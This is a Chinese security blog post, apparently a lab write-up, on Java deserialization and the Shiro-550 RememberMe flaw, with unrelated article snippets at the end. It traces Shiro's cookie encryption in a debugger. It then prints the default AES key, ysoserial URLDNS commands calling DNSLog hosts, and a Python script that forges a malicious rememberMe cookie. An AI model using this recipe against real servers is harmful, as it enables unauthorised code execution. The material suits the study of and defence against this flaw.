Java代码审计Shiro反序列化DNS利用链CC利用链AES动态调试
目录
0x00 前言
0x01 Java原生反序列化介绍
0x02 安全问题1:重写toString方法(打印对象时触发)
0x03 安全问题2:重写readObject(反序列化时触发)
0x04 测试URLDNS链
0x05 Shiro550生成RememberMe Cookie流程分析
0x06 Shiro550漏洞原理分析
0x07 测试Shiro550 URLDNS链
0x08 一些思考
0x00 前言
希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
0x01 Java原生反序列化介绍
在讨论Shiro之前不得不回顾一下Java原生反序列化,这里创建一个UserDemo类,用来测试Java原生序列化/反序列化。
public class UserDemo implements Serializable {public String name="ch4ser";public String gender="man";public Integer age=23;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}}
测试Java原生序列化,将对象u序列化后写入文件ser.txt。
package com.example.seriatestdemo;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u = new UserDemo("ch4ser","man",23);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream输出流,用于将数据写入到文件ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));//将对象obj序列化后输出到文件ser.txtoos.writeObject(obj);}}
控制台输出:
ch4ser
maleProcess finished with exit code 0
测试Java原生反序列化,将ser.txt数据反序列化还原为对象并打印输出。
package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传入 ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}
}
控制台输出:
com.example.seriatestdemo.UserDemo@378bf509Process finished with exit code 0
0x02 安全问题1:重写toString方法(打印对象时触发)
假设UserDemo类在原来的基础上重写了toString方法,并且含有风险代码。
public class UserDemo implements Serializable {public String name="ch4ser";public String gender="man";public Integer age=23;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}}
再次执行反序列化打印输出,计算器弹出,原因如下:
1、在Java中,当使用System.out.println(obj)打印对象时,实际上会调用该对象的toString方法来获取字符串表示形式。
2、obj是通过反序列化得到的,其类型是UserDemo,而UserDemo类中重写了toString方法,所以在打印时会调用UserDemo类的toString方法。
3、由于toString方法包含了执行Runtime.getRuntime().exec("calc")的代码,导致计算器弹出。
控制台输出:
User{name='ch4ser', gender='male', age=23}Process finished with exit code 0
但这本身其实是由于打印对象时造成的安全问题,和反序列化并没有太大关系,
只是想说如果如果对方在反序列化的时候同时打印了对象,那么这里也可以成为一个利用点。
0x03 安全问题2:重写readObject(反序列化时触发)
那么重点来了,假设UserDemo类在原来的基础上重写了readObject方法,并且含有风险代码。
public class UserDemo implements Serializable {public String name="ch4ser";public String gender="man";public Integer age=23;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}}
再次执行反序列化测试代码,计算器弹出,原因如下:
1、在Java中,当一个类实现了Serializable接口并且重写readObject方法时,该方法会在对象进行反序列化时被调用。
2、由于在UserDemo类中实现了Serializable接口,并且重写了readObject方法,所以在反序列化时调用ois.readObject()会触发UserDemo类的readObject方法。
控制台输出:
com.example.seriatestdemo.UserDemo@378bf509Process finished with exit code 0
在本次测试代码中,UserDemo类重写的readObject方法直接调用了危险方法。
事实上,反序列化的利用链一般有如下几种:
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行
0x04 测试URLDNS链
package com.example.seriatestdemo;import java.io.*;public class UnseriaTest implements Serializable {public static Object UnserializeT(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws IOException, ClassNotFoundException {UnserializeT("urldns.txt");}
}
使用ysoserial生成urldns.txt,传入进行反序列化,Yakit成功记录到DNSLog反连
ysoserial命令:
java -jar ysoserial.jar URLDNS "http://rbxxtvcckc.dgrh3.cn/" > urldns.txt
0x05 Shiro550生成RememberMe Cookie流程分析
在DefaultSecurityManager#rememberMeSuccessfulLogin方法处下断点,测试首次成功登录账户(勾选Remember Me)后Shiro生成RememberMe Cookie的流程,启用IDEA动态调试。
protected void rememberMeSuccessfulLogin(AuthenticationToken token, AuthenticationInfo info, Subject subject) {// 获取RememberMeManager实例RememberMeManager rmm = getRememberMeManager();// 如果RememberMeManager实例不为空if (rmm != null) {try {// 调用RememberMeManager的onSuccessfulLogin方法,用于处理成功登录时的“记住我”逻辑rmm.onSuccessfulLogin(subject, token, info);} catch (Exception e) {// 处理RememberMeManager抛出的异常if (log.isWarnEnabled()) {// 记录警告日志,说明特定类型的RememberMeManager实例抛出异常String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +"] threw an exception during onSuccessfulLogin. RememberMe services will not be " +"performed for account [" + info + "].";log.warn(msg, e);}}} else {// 如果RememberMeManager实例为空if (log.isTraceEnabled()) {// 记录跟踪日志,说明当前实例未配置RememberMeManager,因此“记住我”服务将不会执行log.trace("This " + getClass().getName() + " instance does not have a " +"[" + RememberMeManager.class.getName() + "] instance configured. RememberMe services " +"will not be performed for account [" + info + "].");}}
}
以上方法在用户成功登录时执行,会调用RememberMeManager#onSuccessfulLogin方法来处理成功登录时的Remember Me逻辑。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {// 总是清除任何先前的身份信息:forgetIdentity(subject);// 现在保存新的身份信息:if (isRememberMe(token)) {// 如果认证令牌请求记住我功能,则执行记住我逻辑rememberIdentity(subject, token, info);} else {// 如果认证令牌未请求记住我功能,则记录调试信息if (log.isDebugEnabled()) {log.debug("AuthenticationToken did not indicate RememberMe is requested. " +"RememberMe functionality will not be executed for corresponding account.");}}
}
以上方法首先调用forgetIdentity方法清除之前的身份信息,然后调用isRememberMe方法检查登陆时是否勾选了Remember Me,若是则调用rememberIdentity方法。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {// 使用 serialize 方法将身份信息集合转换为字节数组byte[] bytes = serialize(principals);// 如果配置了加密服务(CipherService)if (getCipherService() != null) {// 对字节数组进行加密bytes = encrypt(bytes);}// 返回转换后的字节数组return bytes;
}
步入以上rememberIdentity方法,开始执行勾选Remember Me的逻辑,来到AbstractRememberMeManager#convertPrincipalsToBytes方法。
以上方法做了如下两个操作:
- 首先调用AbstractRememberMeManager#serialize方法对用户身份信息进行序列化操作,转换为byte数组
- 然后检查CipherService是否配置,若是则调用AbstractRememberMeManager#encrypt方法进行加密。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>serialize=>encrypt
public byte[] serialize(T o) throws SerializationException {// 检查传入的对象是否为nullif (o == null) {String msg = "argument cannot be null.";throw new IllegalArgumentException(msg);}// 创建字节数组输出流ByteArrayOutputStream baos = new ByteArrayOutputStream();// 创建缓冲输出流BufferedOutputStream bos = new BufferedOutputStream(baos);try {// 创建对象输出流ObjectOutputStream oos = new ObjectOutputStream(bos);// 将对象写入输出流oos.writeObject(o);// 关闭对象输出流oos.close();// 返回序列化后的字节数组return baos.toByteArray();} catch (IOException e) {// 处理序列化过程中的异常String msg = "Unable to serialize object [" + o + "]. " +"In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +"class must implement java.io.Serializable.";throw new SerializationException(msg, e);}
}
步入以上AbstractRememberMeManager#serialize方法,这里可以看到我们很熟悉的东西,也就是说Shiro使用的是Java原生序列化操作:
- 创建对象输出流:ObjectOutputStream oos = new ObjectOutputStream(bos);
- 将对象写入输出流:oos.writeObject(o);
观察到此时o的值为root,即登录的用户名(表明o是可控的),而由于后续登录Shiro解析RememberMe Cookie时执行的操作是相反的,即执行反序列化操作,故此处存在反序列化漏洞。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>
serialize=>new ObjectOutputStream(bos)=>oos.writeObject(o)
protected byte[] encrypt(byte[] serialized) {// 将前面序列化后的用户信息(byte数组)赋值给变量valuebyte[] value = serialized;// 获取CipherService实例CipherService cipherService = getCipherService();// 如果CipherService实例不为空if (cipherService != null) {// 使用CipherService对字节数组进行加密,返回加密后的ByteSourceByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());// 从ByteSource中获取加密后的字节数组value = byteSource.getBytes();}// 返回加密后的字节数组return value;
}
步入以上AbstractRememberMeManager#encrypt方法,该方法主要是调用CipherService#encrypt方法对序列化后的用户信息进行加密,其加密密钥通过getEncryptionCipherKey()方法获取。
public ByteSource encrypt(byte[] plaintext, byte[] key) {byte[] ivBytes = null;// 检查是否生成初始化向量(IV)boolean generate = isGenerateInitializationVectors(false);// 如果生成初始化向量if (generate) {// 生成初始化向量ivBytes = generateInitializationVector(false);// 检查生成的初始化向量是否有效if (ivBytes == null || ivBytes.length == 0) {throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +" cannot be null or empty.");}}// 调用加密方法,传入待加密的字节数组、密钥、初始化向量和是否生成初始化向量的标志return encrypt(plaintext, key, ivBytes, generate);
}
步入以上CipherService#encrypt方法,该方法主要是获取密钥key、偏移量iv,然后执行正式的加密逻辑。
后续加密不再做详细介绍,只放以下变量值截图:
通过以上变量值得知加密密钥key和偏移量iv的值,加密算法模式为AES/CBC/PKCS5Padding。
多次测试后发现Shiro550的key和iv是固定的,且AES是对称加密即加密解密的key一致,这也就造成了攻击者可通过使用默认的key对恶意构造的序列化数据进行加密。
补充:这里的key是Ascii数组,Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>
=>AbstractRememberMeManager#encrypt=>CipherService#encrypt=>key、iv、AES
AES/CBC/PKCS5Padding是什么? 以下为ChatGPT的解释:AES/CBC/PKCS5Padding 是一种描述使用 AES 算法进行加密的具体加密算法和填充方案的字符串表示。在这个字符串中,各个部分的含义如下:AES: 表示使用 AES 算法进行加密。AES(Advanced Encryption Standard)是一种对称加密算法,广泛用于保护敏感数据。CBC: 表示使用 Cipher Block Chaining (CBC) 模式。CBC 是一种块密码的工作模式,它将前一个块的密文与当前块的明文异或,然后再进行加密。这种模式有助于增加密码的安全性。PKCS5Padding: 表示使用 PKCS#5 填充方案。PKCS#5 和 PKCS#7 都是密码学标准中定义的填充方案,用于将不足块大小的明文数据填充到块大小。在实际应用中,PKCS#5 和 PKCS#7 通常是可以互换使用的,因此有时你可能看到 AES/CBC/PKCS7Padding。这个字符串指定了加密和解密算法所需的参数,确保在使用 AES 加密时,采用了特定的工作模式(CBC)和填充方案(PKCS5Padding)。这些参数是为了增加加密的安全性和实现数据的正确解密而引入的。
接着就是Base64编码,设置RememberMe Cookie发送并放行,不再赘述。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>serialize=>encrypt=>Base64Encode
0x06 Shiro550漏洞原理分析
从以上的调试过程不难总结出Shiro550漏洞原理,如下:
由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。
1、Shiro550生成RememberMe Cookie流程(首次登录成功):用户信息 => 序列化 => AES加密 => Base64编码 => rememberMe Cookie值2、Shiro550验证RememberMe Cookie流程(后续登录验证):rememberMe Cookie值 => Base64解码 => AES解密 => 反序列化3、攻击者角度,构造Payload的流程(同Shiro生成RememberMe Cookie流程):恶意命令 => 序列化 => AES加密 => Base64编码 => rememberMe Cookie值 0x07 测试Shiro550 URLDNS链
和前面测试URLDNS链区别就在于使用ysoserial生成urldns.txt后还需要进行序列化、AES加密、Base64编码。
ysoserial命令:
java -jar ysoserial.jar URLDNS "http://kqoglunpys.dgrh3.cn/" > urldns.txt 这里我使用如下Python脚本进行处理:
from Crypto.Cipher import AES
import uuid
import base64//若提示ModuleNotFoundError: No module named 'Crypto'
//需安装pycryptodome库:pip3 install pycryptodomedef convert_bin(file):with open(file, 'rb') as f:return f.read()def AES_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()return ciphertextif __name__ == "__main__":data = convert_bin("urldns.txt")print(AES_enc(data)) BurpSuite抓包,将生成的字符串粘贴到Cookie: rememberme=后面,发包后Yakit成功记录到DNSLog反连。
0x08 一些思考
为什么不能用之前FastJson的JdbcRowSetImpl那个链?
1、根本原因:Shiro反序列化用的是Java原生反序列化,而Fastjson反序列化用的是其自定义的反序列化2、FastJson能用JdbcRowSetImpl链根本原因是其自定义的反序列化执行时会自定执行类的set、get方法3、Shiro使用Java原生反序列化,其造成漏洞的根本原因是重写了readObject()方法4、Shiro反序列化时无法触发JdbcRowSetImpl类的setDataSourceName、setAutoCommit执行lookup方法 相关文章:
Java代码审计Shiro反序列化DNS利用链CC利用链AES动态调试
目录 0x00 前言 0x01 Java原生反序列化介绍 0x02 安全问题1:重写toString方法(打印对象时触发) 0x03 安全问题2:重写readObject(反序列化时触发) 0x04 测试URLDNS链 0x05 Shiro550生成RememberMe Coo…...
【MySQL】临时变量用法
力扣题 1、题目地址 2388. 将表中的空值更改为前一个值 2、模拟表 表:CoffeeShop Column NameTypeidintdrinkvarchar id 是该表的主键(具有唯一值的列)。该表中的每一行都显示了订单 id 和所点饮料的名称。一些饮料行为 null。 3、要求…...
Flask框架小程序后端分离开发学习笔记《4》向服务器端发送模拟请求-爬虫
Flask框架小程序后端分离开发学习笔记《4》向服务器端发送模拟请求-爬虫 Flask是使用python的后端,由于小程序需要后端开发,遂学习一下后端开发。 下面代码,是一个比较老的版本了,可以借鉴一下。 import socket import ssldef p…...
Android在系统界面上添加窗口
WindowManager.addView()是Android中的一个方法,用于在屏幕上添加一个窗口。它允许你在应用程序的上下文之外创建一个窗口,并将其显示在其他应用程序或系统界面上。 新建一个自定义View用于显示 class MyView JvmOverloads constructor(context: Contex…...
【正点原子STM32】STM32原理图设计(芯片手册和数据手册、常见引脚类型、最小系统和IO分配)
一、学会查看数据手册 获取芯片数据手册数据手册内容概要芯片的基本参数(STM32F103ZET6为例)正点原子开发板对应的主控型号和封装STM32F103ZET6引脚分布常见的STM32引脚类型下载接口 二、最小系统 电源电路复位电路BOOT启动电路晶振电路下载调试电路串…...
低代码自动化平台| 游戏规则改变者
自动化测试对于软件开发公司起着非常重要的作用。它在公司及其客户之间建立了对优质产品的信任。此外,它还使软件开发人员更加自信,因为他们可以在其他模块上工作,而不必担心应用程序的任何现有功能是否存在错误。在软件测试中融入自动化是必…...
【分享】MathWorks中国汽车年会:“软件定义汽车”
从软件赋能到软件定义,汽车行业不仅需要解决诸如错误发现滞后带来的高昂代价、功能融合所需的跨学科知识、功能安全与实施成本之间的权衡等老问题,也面临着新的挑战:软件复杂度的不断提升、利用数据驱动创造价值、人工智能的引入和实现、数字…...
RNN:Long Short-term Memory(中)
目录 1 LSTM 的简图 2 LSTM 的整体结构 2.1 结构图 2.2 流程图 3 举个例子 3.1 简单看看 3.2 代入 LSTM 4 Original Network v.s. LSTM 5 细看 LSTM 原视频:李宏毅 2020:Recurrent Neural Network (Part I) 1 LSTM 的简图 LSTM 实际…...
C# .NET读取Excel文件并将数据导出到DataTable、数据库及文本
Excel文件是存储表格数据的普遍格式,因此能够高效地读取和提取信息对于我们来说至关重要。C#语言借助.NET Framework和各种库的广泛功能,能够进行高效的数据操作。利用C#读取Excel文件并将数据写入数据库和DataTable,或者将数据用于其他目的&…...
移动云助力智慧交通数智化升级
智慧交通是在整个交通运输领域充分利用物联网、空间感知、云计算、移动互联网等新一代信息技术,综合运用交通科学、系统方法、人工智能、知识挖掘等理论与工具,以全面感知、深度融合、主动服务、科学决策为目标,推动交通运输更安全、更高效、…...
【Vue技巧】vue 阻止a链接跳转事件的两种方法
ChatGPT4.0国内站点,支持设计稿转代码:https://www.atalk-ai.com/ 在Vue中,如果你想阻止<a>链接的默认跳转事件,你可以使用click.prevent或者click配合.prevent修饰符。这样做可以阻止链接的默认行为,即不会跳转…...
006.Oracle事务处理
我 的 个 人 主 页:👉👉 失心疯的个人主页 👈👈 入 门 教 程 推 荐 :👉👉 Python零基础入门教程合集 👈👈 虚 拟 环 境 搭 建 :👉&…...
成功解决VScode进入到内置函数中调试
主要有两个关键步骤, 第一步 将launch.json中的"justMyCode"设为false 可通过使用ctrlshiftP搜索lauch.json找到次文件 如果找不到的话,可点击debug按钮,然后找到点击create a launch.json file创建 创建得到的launch.json如下&am…...
29、WEB攻防——通用漏洞SQL注入增删改查盲注延迟布尔报错
文章目录 盲注增删改查 盲注 概念:在注入过程中,获取的数据不能回显至前端页面,此时我们需要利用一些方法进行判断或尝试,这个过程被称为盲注。 解决:常规的联合查询注入不行的情况。 分类: 基于布尔的SQ…...
【设计模式 行为型】策略模式
它允许在运行时根据需要选择算法的行为。该模式通过将算法封装成独立的类,使得它们可以相互替换,而不影响使用算法的客户端代码。 策略模式主要包含以下角色: 环境(Context):环境对象持有一个策略对象的引…...
JVM:双亲委派机制类加载器
JVM:双亲委派机制 1. 例子2. 类加载器总结3. 类加载过程4. 双亲委派模型的执行流程:5. 双亲委派模型的好处 1. 例子 Java运行时环境有一个java.lang包,里面有一个ClassLoader类 我们自定义一个String类在java.lang包下,下面的…...
从入门到精通:ThinkPHP6异步请求的全面解析!
在ThinkPHP6中使用异步请求 在Web应用程序的开发中,经常会需要使用异步请求。异步请求能够在后台执行而不干扰页面的其他操作,提高了用户的体验。而在ThinkPHP6框架中,也提供了方便的异步请求方式,本文将详细介绍如何在ThinkPHP6…...
C++写csv文件
C写csv文件 其中有一个点需要注意,csv芬里尔之间要用逗号隔开 p_str_filename "D:\\1.csv"; int writelog(string p_str_filename, double p_double[]) {SYSTEMTIME timeCur;GetLocalTime(&timeCur);char t_logbuffer[1024] { 0 };sprintf(t_logbu…...
将Matlab图窗中的可视化保存为背景透明的矢量图
将matlab绘制的结果复制为矢量图时,去除背景的操作如下: 先打开/绘制图形窗口(不要关闭)在命令行终端输入axis off关闭坐标系继续在命令行终端分别输入: ax gca; copygraphics(ax,ContentType,vector,BackgroundColor,none); 此时ÿ…...
希尔(Shell)排序
文章目录 希尔排序的基本思想本质增量(间隔)的选取 希尔排序的时间复杂度希尔排序代码实现希尔排序的稳定性 希尔排序的基本思想 将要排序的序列按一定间隔(增量)分组,将每一组的数据按插入排序进行排序,再…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
Springboot社区养老保险系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,社区养老保险系统小程序被用户普遍使用,为方…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
go 里面的指针
指针 在 Go 中,指针(pointer)是一个变量的内存地址,就像 C 语言那样: a : 10 p : &a // p 是一个指向 a 的指针 fmt.Println(*p) // 输出 10,通过指针解引用• &a 表示获取变量 a 的地址 p 表示…...
【UE5 C++】通过文件对话框获取选择文件的路径
目录 效果 步骤 源码 效果 步骤 1. 在“xxx.Build.cs”中添加需要使用的模块 ,这里主要使用“DesktopPlatform”模块 2. 添加后闭UE编辑器,右键点击 .uproject 文件,选择 "Generate Visual Studio project files",重…...
AxureRP-Pro-Beta-Setup_114413.exe (6.0.0.2887)
Name:3ddown Serial:FiCGEezgdGoYILo8U/2MFyCWj0jZoJc/sziRRj2/ENvtEq7w1RH97k5MWctqVHA 注册用户名:Axure 序列号:8t3Yk/zu4cX601/seX6wBZgYRVj/lkC2PICCdO4sFKCCLx8mcCnccoylVb40lP...
Vue 3 + WebSocket 实战:公司通知实时推送功能详解
📢 Vue 3 WebSocket 实战:公司通知实时推送功能详解 📌 收藏 点赞 关注,项目中要用到推送功能时就不怕找不到了! 实时通知是企业系统中常见的功能,比如:管理员发布通知后,所有用户…...
CppCon 2015 学习:REFLECTION TECHNIQUES IN C++
关于 Reflection(反射) 这个概念,总结一下: Reflection(反射)是什么? 反射是对类型的自我检查能力(Introspection) 可以查看类的成员变量、成员函数等信息。反射允许枚…...
